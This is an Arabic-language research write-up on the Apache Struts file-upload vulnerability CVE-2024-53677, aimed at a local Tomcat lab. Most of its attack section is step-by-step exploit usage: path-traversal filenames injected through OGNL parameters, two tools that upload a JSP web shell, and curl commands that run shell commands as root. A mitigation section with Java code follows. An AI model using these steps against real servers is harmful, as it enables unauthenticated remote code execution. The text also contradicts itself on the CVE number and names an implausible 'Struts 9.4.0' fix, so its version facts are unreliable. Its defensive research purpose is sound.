
بحث حول خيارات استغلال CVE-2024-53667 وسبل معالجتها
تكمن الثغرة في كيفية تمرير FileUploadInterceptor في Struts لاسم الملف المرفوع إلى صنف الإجراء (action class).
في الوضع الطبيعي، يقوم المعترض (interceptor) بتعقيم اسم الملف، لكن Struts يسمح أيضًا لأي معامل متعدد الأجزاء (multipart parameter) بأن تتم معالجته كتعبير OGNL بواسطة ParametersInterceptor. إن إرسال top.UploadFileName (أو uploadFileName[0] لأفعال الملفات المتعددة) كحقل نموذج يستدعي مباشرةً action.setUploadFileName(value) عبر OGNL، متجاوزًا ما يعيّنه المعترض.
ثم يكتب الإجراء الملف دون تعقيم للمسار:
String uploadDir = "webapps/ROOT/uploads"; // relative to Tomcat CWD /usr/local/tomcat/
File destFile = new File(uploadDirectory, uploadFileName); // no sanitization
إرسال ../shell.jsp كاسم ملف يتحول إلى:
/usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp
= /usr/local/tomcat/webapps/ROOT/shell.jsp ← served at http://localhost:8080/shell.jsp
رفع قشرة ويب JSP هناك يمنح تنفيذ أوامر عن بُعد بدون مصادقة (RCE).
هناك استغلالان قيد البحث بخصوص هذه الثغرة:
خادم تطبيقات Lab Tomcat، المستخدم كهدف لكلا الاستغلالين، مأخوذ من المستودع الأول ويعمل داخل حاوية (docker أو podman).
يوفّر هذا المستودع استغلالًا آخر كنسخة Java من poc.py، وهو منشأ من المصدر الثاني.
يظهر الفرق الدقيق بين الاستغلالين في جدول المقارنة جنبًا إلى جنب في نهاية هذا المستند.
تم تأكيد عمل كلا الاستغلالين على Struts 6.3.0.2.
ومع ذلك، عند ترقية Struts إلى 6.8.0 أو 6.9.0، توقف الاستغلال الأول (CVE-2024-53677.py) عن العمل - بسبب الإصلاح في Struts 9.4.0.
يعمل الاستغلال الثاني (StrutsExploitRunner) على جميع الإصدارات 6.3.0.2 و6.8.0 و6.9.0، ما لم يتم تحديث كود التطبيق القابل للاستغلال على النحو الموصى به أدناه في قسم التخفيف (Mitigation).
انظر التفاصيل التقنية للتحقيق أدناه.
استنسخ المستودع الأول وانتقل إلى دليله الجذري:
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677
ستحتاج إلى docker (أصلاً) أو podman (المستخدم في بحثنا) لبناء وتشغيل Lab Tomcat المخترَق:
cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit
شغّل سكربتات الاستغلال كما هو موضح أدناه في شل منفصلة من الدليل الجذري للمستودع مع تفعيل البيئة الافتراضية للـ Python.
يرفع قشرة ويب JSP إلى /upload.action باستخدام top.UploadFileName لحقن اسم ملف بتجاوز المسار (path-traversal). القشرة الويب المثبتة تقبل الأوامر عبر ?action=cmd&cmd=<command>.
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp
-p هي القيمة التي تُمرَّر كـ top.UploadFileName. يكفي ../ واحدة للخروج من دليل uploads/ ووضع الملف في جذر الويب.
curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
لاحظ معامل action=cmd المطلوب — تتحقق القشرة الويب المثبتة منه قبل تشغيل الأمر. بدونه ستحصل على Unknown action. بدلاً من المخرجات.
python CVE-2024-53677.py \
-u http://localhost:8080/upload.action \
-p ../shell.jsp \
-f ./my_payload.jsp
يستهدف /uploads.action (النسخة متعددة الملفات) ويعيّن uploadFileName[0] عبر OGNL إلى قيمة تجاوز مسار. نفس الالتفاف الأساسي، مع اختلاف اسم المعامل وصنف الإجراء.
ستحتاج إلى JDK 17 أو أحدث لبناء وتشغيل الاستغلال (يجب أن يكون ملف java الثنائي في PATH الخاص بك).
نفّذ الأمر التالي في جذر هذا المستودع لبناء ملف uber-jar القابل للتنفيذ:
./mvnw clean package
java -jar target/exploit-1.0-SNAPSHOT.jar \
-u http://localhost:8080 \
--upload_endpoint /uploads.action \
--paths .. \
--filenames shell.jsp
--filenames يثبّت اسم الملف بحيث تعرف أين تجلبه. بدونه يولّد السكربت أسماء عشوائية تُطبع في المخرجات.
قشرة الويب التي رفعها هذا التطبيق تستخدم واجهة ?cmd= الأبسط:
curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
الإصلاح الأساسي هو الترقية إلى Struts 7.x، الذي أعاد بناء آلية رفع الملفات بالكامل. إذا كانت هذه الترقية معطّلة (توافق JDK 8، قيود تبعيات الطرف الثالث)، يمكن تطبيق التخفيف أدناه.
هذا هو الإصلاح الأكثر متانة لأنه يعمل بغض النظر عما يمرره أي معترض. جرّد جميع مكونات المسار من اسم الملف قبل إنشاء مسار الوجهة، ثم تحقق من أن المسار المُحلّ لا يزال داخل الدليل المقصود.
import java.nio.file.Paths;
public String doUpload() {
if (upload != null && upload.length() > 0) {
try {
File uploadDirectory = new File("/var/app/uploads");
if (!uploadDirectory.exists()) uploadDirectory.mkdirs();
// Strip any path components the attacker injected via top.UploadFileName
String safeFileName = Paths.get(uploadFileName).getFileName().toString();
File destFile = new File(uploadDirectory, safeFileName);
// Confirm the resolved path is still inside the upload directory
String canonicalDest = destFile.getCanonicalPath();
String canonicalBase = uploadDirectory.getCanonicalPath();
if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
addActionError("Invalid upload path.");
return ERROR;
}
// ... copy bytes as before
يُرجع Paths.get("../shell.jsp").getFileName() القيمة shell.jsp، لذلك حتى إذا سلّم top.UploadFileName سلسلة تجاوز مسار، فإنها تُختزل إلى اسم ملف بسيط قبل أي عملية إدخال/إخراج.
ينطبق النمط نفسه على UploadsAction — طبّقه داخل حلقة for على كل uploadFileName.get(i).
| CVE-2024-53677.py | StrutsExploitRunner |
|---|
| نقطة النهاية | /upload.action | /uploads.action |
| معامل OGNL | top.UploadFileName | uploadFileName[0] |
| صنف الإجراء | UploadAction (ملف واحد) | UploadsAction (متعدد الملفات) |
| استدعاء قشرة الويب | ?action=cmd&cmd=<cmd> | ?cmd=<cmd> |
| خطأ المسار الافتراضي | لا يوجد | القيمة الافتراضية لـ --paths عميقة جدًا، استبدلها بـ .. |